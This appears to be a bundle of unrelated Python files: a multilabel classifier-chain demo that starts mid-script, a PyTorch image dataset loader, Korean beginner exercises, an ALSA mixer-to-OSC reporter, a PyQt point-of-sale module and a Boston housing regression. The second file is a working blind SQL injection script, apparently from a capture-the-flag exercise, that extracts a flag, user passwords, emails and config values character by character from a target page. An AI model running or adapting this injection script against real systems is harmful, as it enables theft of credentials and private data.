ovr = OneVsRestClassifier(LogisticRegression(C=1.0,class_weight='balanced', solver='newton-cg', multi_class='ovr'))
ovr.fit(X_train, y_train)
y_pred_ovr = ovr.predict(X_test)
ovr_jaccard_score = jaccard_similarity_score(y_test, y_pred_ovr)
print (ovr_jaccard_score)
## Classification report::
print(classification_report(y_test, y_pred_ovr))

# classifier chain model::
# Fit an ensemble of logistic regression classifier chains and take the
# take the average prediction of all the chains.

from sklearn.multioutput import ClassifierChain
from sklearn.metrics import jaccard_similarity_score

chains = [ClassifierChain(LogisticRegression(), order='random', random_state=i)
          for i in range(10)]
for chain in chains:
    chain.fit(X_train, y_train)

y_pred_chains = np.array([chain.predict(X_test) for chain in
                          chains])
chain_jaccard_scores = [jaccard_similarity_score(y_test, y_pred_chain >= .5)
                        for y_pred_chain in y_pred_chains]

y_pred_ensemble = y_pred_chains.mean(axis=0)
ensemble_jaccard_score = jaccard_similarity_score(y_test,
                                                  y_pred_ensemble >= .5)

############ Visualization for demo   #####################

model_scores = [ovr_jaccard_score] + chain_jaccard_scores
model_scores.append(ensemble_jaccard_score)

model_names = ('Independent',
               'Chain 1',
               'Chain 2',
               'Chain 3',
               'Chain 4',
               'Chain 5',
               'Chain 6',
               'Chain 7',
               'Chain 8',
               'Chain 9',
               'Chain 10',
               'Ensemble')

x_pos = np.arange(len(model_names))

# Plot the Jaccard similarity scores for the independent model, each of the
# chains, and the ensemble (note that the vertical axis on this plot does
# not begin at 0).

fig, ax = plt.subplots(figsize=(7, 4))
ax.grid(True)
ax.set_title('Classifier Chain Ensemble Performance Comparison')
ax.set_xticks(x_pos)
ax.set_xticklabels(model_names, rotation='vertical')
ax.set_ylabel('Jaccard Similarity Score')
ax.set_ylim([min(model_scores) * .9, max(model_scores) * 1.1])
colors = ['r'] + ['b'] * len(chain_jaccard_scores) + ['g']
ax.bar(x_pos, model_scores, alpha=0.5, color=colors)
plt.tight_layout()
plt.show()


import os
import requests

print("running")

target = "http://10.102.43.198/s3cret_manag3r_pag3.php?name=' OR '1'='1"

test = "Config correctly set"

chars = "abcdefghijklmnopqrstuvwxyz0123456789}{)(-_$£!@."

def check(st):
    r = requests.get(st)
    if test in r.text:
        return True
    else:
        return False

tmp = ""
for j in range(0, 2):
    print("\n\n")

    print(tmp)
    tmp = ""

    for i in range(1,30):
        for char in chars:
            #query = "http://10.102.43.198/s3cret_manag3r_pag3.php?name=' OR SUBSTRING((SELECT password FROM users LIMIT {},1),{},1)='{}".format(j, i, char)
            #query = "http://10.102.43.198/s3cret_manag3r_pag3.php?name=' OR SUBSTRING((SELECT email FROM users LIMIT {},1),{},1)='{}".format(j, i, char)
            #query = "http://10.102.43.198/s3cret_manag3r_pag3.php?name=' OR SUBSTRING((SELECT name FROM users LIMIT {},1),{},1)='{}".format(j, i, char)

            #query = "http://10.102.43.198/s3cret_manag3r_pag3.php?name=' OR SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='config' LIMIT {},1),{},1)='{}".format(j, i, char)

            query = "http://10.102.43.198/s3cret_manag3r_pag3.php?name=' OR SUBSTRING((SELECT flag FROM flag_table LIMIT {},1),{},1)='{}".format(j, i, char)
            #query = "http://10.102.43.198/s3cret_manag3r_pag3.php?name=' OR SUBSTRING((SELECT value FROM config LIMIT {},1),{},1)='{}".format(j, i, char)

            answer = check(query)
            if answer:
                print(char)
                tmp += char


#!/usr/bin/env python
# -*- coding:utf-8 -*-

'''
Author: sunlei
Email: sunlei@cmcm.com
Last modified: 2017-12-28 23:29:51
'''

import os
import json
import numpy as np
from PIL import Image
import torchvision

from . import dataset
from .transforms import transforms as transform
from .transforms import functional as F

class Dataset(dataset.Dataset):

    def read(self):
        self.items = []
        self.gen_label_mapping()
        mode = 'train' if self.train else 'val'
        image_dir = os.path.join(self.opt.data_dir, mode)
        for sub_dir in os.listdir(image_dir):
            assert sub_dir in self.reverse_label_mapping, \
                f'sub dir {sub_dir} must in label mapping'
            label = self.reverse_label_mapping[sub_dir]
            self.logger.debug(f'read {sub_dir}, readed {len(self.items)} images')
            sub_dir = os.path.join(image_dir, sub_dir)
            for file_name in os.listdir(sub_dir):
                file_name = os.path.join(sub_dir, file_name)
                self.items.append([file_name, label])

        self.logger.info(f'total read {len(self.items)} images for {mode}')

    def gen_label_mapping(self):
        file_name = os.path.join(self.opt.data_dir, 'human_readable_file.json')
        doc = json.load(open(file_name))
        self.reverse_label_mapping = {}
        for item in doc:
            self.reverse_label_mapping[item['name']] = item['id']

    def gen_transforms(self):
        sampler = transform.Sampler(self.opt.scales)
        if self.train:
            transforms = [
                transform.CropAndResize(scale_sampler=sampler),
                transform.ColorJitter()
            ]
        else:
            transforms = [transform.Resize(scale_sampler=sampler)]
        self.transforms = torchvision.transforms.transforms.Compose(transforms)

    def __getitem__(self, index):
        file_name, label = self.items[index]
        image = np.array(Image.open(file_name).convert('RGB'))
        image = self.transforms(image)
        return F.transpose(image), label


# practice 1
p = ['Life', ' is', 'too', 'short']

print(" ".join(p))

# practice 2
# 결과값은 'shirt'

# practice 3

i = 1
while i <= 4:
    print('*'*i)
    i += 1

# practice 4

s = 'mutzangesazachurum'

count = 0

for i in range(0, len(s)):
    if s[i] == 'a' or s[i] == 'e' or s[i] == 'i' or s[i] == 'o' or s[i] == 'u':
        count += 1

print(count)

# 1-1

sum = 0
num = 1

while num <= 1000:
    if num % 3 == 0:
        sum += num

    num += 1

print(sum)

# 1-2

num = 10
while num > 0:
    print('*'*num)
    num -= 1

# 1-3

sum = 0
aa = [20, 55, 67, 82, 45, 33, 90, 87, 100, 25]

def tra(l):
    a = l.pop()
    return a

while len(aa) > 0:

    sum += tra(aa)

print(sum)

# 2-1

for i in range(1, 101):
    print(i)

# 2-2

sum = 0

b = [70, 60, 55, 75, 95, 90, 80, 80, 85, 100]

for i in b:
    sum += i

print(sum/len(b))

# 2-3

numbers = [1, 2, 3, 4, 5]

res = [n*2 for n in numbers if n % 2 == 1]

print(res)


#!/usr/bin/python
# written by Alexander Sosedkin, distributed under GNU GPLv3, please see LICENSE
import liblo, pyalsa.alsamixer, select

PATH = '/alsamixer_reporter/'
ADDRESS = ('localhost', 8000)
NAMES = ('Master', 'PCM', 'Capture')
CAPTURE = ('Capture',)
TIMEOUT=2

def main():
    m = pyalsa.alsamixer.Mixer(); m.attach(); m.load()
    elements = {name: pyalsa.alsamixer.Element(m, name) for name in NAMES}
    for element in elements.values(): element.set_callback(callback)
    ep = select.epoll(); ep.register(*m.poll_fds[0])
    while True:
        m.handle_events()
        if not ep.poll(timeout=TIMEOUT): # if nothing happened in TIMEOUT secs
            for element in elements.values(): callback(element)

def callback(element, index_unused=None):
    cap = element.name in CAPTURE
    mn, mx = element.get_volume_range(cap)
    vol = float(element.get_volume(0, cap) - mn) / (mx - mn)
    mute = not element.get_switch(0, cap) if element.has_switch(cap) else False
    liblo.send(ADDRESS, PATH + element.name, vol)
    liblo.send(ADDRESS, PATH + element.name + '/mute', mute)

if __name__ == "__main__": main()


#!/usr/bin/env python
import os
from datetime import datetime, timedelta, date

from sqlalchemy.orm import sessionmaker, relationship
from sqlalchemy import *
from sqlalchemy.ext.declarative import declarative_base
from PyQt4 import QtGui, QtCore
from PyQt4.QtCore import *
from PyQt4.QtGui import *

from api_printer import printer_render, TimeOutPrinter, flush_printer
from models import *
from config import TWO_COPIES, NO_PRINT
from decimal import Decimal

ID_CLIENT_ANONYMOUS = 1

PATH = os.path.dirname(os.path.abspath(__file__))

class SaleApi(object):
    def __init__(self, price_total, client_id=ID_CLIENT_ANONYMOUS):
        self.price_total = price_total
        self.details = []
        self.client_id = client_id
        self.factura = None

    def generate_factura(self):
        self.factura = Factura(self.client_id, datetime.now())
        session.add(self.factura)
        session.flush()
        session.refresh(self.factura)

    # def get_client_anonymous():
    #     client = session.query(Cliente).get(ID_CLIENT_ANONYMOUS)
    #     return client

    def add_detail(self, id_product, quantity):
        product = session.query(Producto).get(id_product)
        assert quantity <= product.stock
        detail = Detalle(id_factura=self.factura.id, producto=product.id,
                         cantidad=quantity,
                         precio_total=float(quantity * product.precio_venta))
        self.details.append(
            (detail, [str(product.id), product.nombre, str(product.precio_venta)])
        )
        product.stock -= quantity
        session.add(detail)

    def add_detail_service(self, id_service=None,
                           type_service=None, quantity=1, canceled=False):
        if not id_service:
            service = Servicio(type_service, canceled, self.price_total)
            session.add(service)
            session.flush()
            session.refresh(service)
            type_service_obj = session.query(TipoServicio).get(type_service)
        else:
            service = session.query(Servicio).get(id_service)
            service.cancelado = canceled
            service.monto += Decimal(self.price_total)
            type_service_obj = session.query(TipoServicio).get(service.tipo)

        detail = Detalle(id_factura=self.factura.id, servicio=service.id,
                         cantidad=quantity, precio_total=self.price_total)

        self.details.append(
            (detail, [str(type_service_obj.id), type_service_obj.nombre, str(self.price_total)])
        )
        session.add(detail)

    def save_sale(self):
        session.commit()

    def print_factura(self, parent=None):
        client = session.query(Cliente).get(self.client_id)
        assert len(self.details) > 0

        # def render_template(template_filename, context):
        #     return TEMPLATE_ENVIRONMENT.get_template(
        # template_filename).render(context)
        # file_output = "output_factura.txt"

        context = {
            'factura': self.factura,
            'details': self.details,
            'client': client,
            'price_total': self.price_total
        }
        # with open(file_output, 'w') as f:
        #     html = render_template('factura.txt', context)
        #     f.write(html)
        if not TWO_COPIES or NO_PRINT:
            while True:
                try:
                    printer_render(context, fontfullpath='fonts/DejaVuSans.ttf', fontsize=21)
                except TimeOutPrinter:
                    flush_printer()
                    ok = QtGui.QMessageBox.question(parent, u'Sin repuesta Impresora',
                                                    u'Al parecer la impresora esta fallando'
                                                    u', asegurate de que este conectada y con papel dentro\n'
                                                    u'Deseas volver a intentar? (Si escoges NO se guardara la venta, pero no se'
                                                    u'imprimira ticket)',
                                                    QtGui.QMessageBox.Yes,
                                                    QtGui.QMessageBox.No)
                    if ok == QtGui.QMessageBox.Yes:
                        continue
                    else:
                        flush_printer()
                        return
                break
            return

        while True:
            try:
                img = printer_render(
                context, fontfullpath='fonts/DejaVuSans.ttf', fontsize=21)
            except TimeOutPrinter:
                flush_printer()
                ok = QtGui.QMessageBox.question(parent, u'Sin repuesta Impresora',
                                                u'Al parecer la impresora esta fallando'
                                                u', asegurate de que este conectada y con papel dentro\n'
                                                u'Deseas volver a intentar? (Si escoges NO se guardara la venta, pero no se'
                                                u'imprimira ticket)',
                                                QtGui.QMessageBox.Yes,
                                                QtGui.QMessageBox.No)
                if ok == QtGui.QMessageBox.Yes:
                    continue
                else:
                    flush_printer()
                    return
            break
        QtGui.QMessageBox.information(
            parent, 'Finalizado', 'Ticket Imprimido, entregue este ticket')

        while True:
            try:
                printer_render(context, fontfullpath='fonts/DejaVuSans.ttf', fontsize=21,
                               img_default=img)
            except TimeOutPrinter:
                flush_printer()
                ok = QtGui.QMessageBox.question(parent, u'Sin repuesta Impresora',
                                                u'Al parecer la impresora esta fallando'
                                                u', asegurate de que este conectada y con papel dentro\n'
                                                u'Deseas volver a intentar? (Si escoges NO se guardara la venta, pero no se'
                                                u'imprimira ticket)',
                                                QtGui.QMessageBox.Yes,
                                                QtGui.QMessageBox.No)
                if ok == QtGui.QMessageBox.Yes:
                    continue
                else:
                    flush_printer()
                    return
            break
        QtGui.QMessageBox.information(
            parent, 'Finalizado', 'Ticket Imprimido, Guarde ticket')

    @staticmethod
    def get_quantity_product(id_product):
        product = session.query(Producto).get(id_product)
        return product.stock

def test_api():
    sale_api = SaleApi(float(3.0), 2)
    sale_api.generate_factura()
    sale_api.add_detail_service(type_service=None)
    sale_api.save_sale()


#importing required libraries
import pandas as pd
import matplotlib.pyplot as plt
import sklearn
from sklearn.linear_model import LinearRegression
from sklearn.datasets import load_boston

#conver boston data to data frame and check
boston1 = load_boston()
bos = pd.DataFrame(boston1.data)
print(bos.head())

#add column names
bos.columns = boston1.feature_names

#setting target
bos['PRICE'] = boston1.target
print(bos.head())

#loading the data in python and seperare dependent and independent variables

#independent variables
x = bos.drop('PRICE', axis = 1)

#dependent variable
y = bos['PRICE']

#dividing the dataset to tarining set and test set
#x_train, x_test, y_train, y_test = sklearn.model_selection.train_test_split(x, y, test_size = 0.33, random_state = 5)

from sklearn.cross_validation import train_test_split

x_train, x_test, y_train, y_test = sklearn.cross_validation.train_test_split(x, y, test_size = 0.33, random_state = 5)

#creating the Linear regression model
lm = LinearRegression()

#fit the model on train dataset
lm.fit(x_train, y_train)

#make predictions using created model
y_train_pred = lm.predict(x_train)

#use the model to predice the test dataset
y_test_pred = lm.predict(x_test)

#put the predicted and actual side by side to check the efficiency of the model
df = pd.DataFrame(y_test_pred,y_test)

print(df)

#calculate the MSE
from sklearn import metrics

mse = metrics.mean_squared_error(y_test, y_test_pred)
print(mse)

#plot and see where the model fits.
plt.scatter(y_train_pred, y_train_pred - y_train,c='blue', marker='o', label = 'Training data')
plt.scatter(y_test_pred, y_test_pred - y_test,c='lightgreen', marker='o', label = 'Test data')
plt.xlabel('Predicted values')
plt.ylabel('Residuals')
plt.legend(loc = 'upper left')
plt.hlines(y=0, xmin=0, xmax=50)
plt.plot()
plt.show()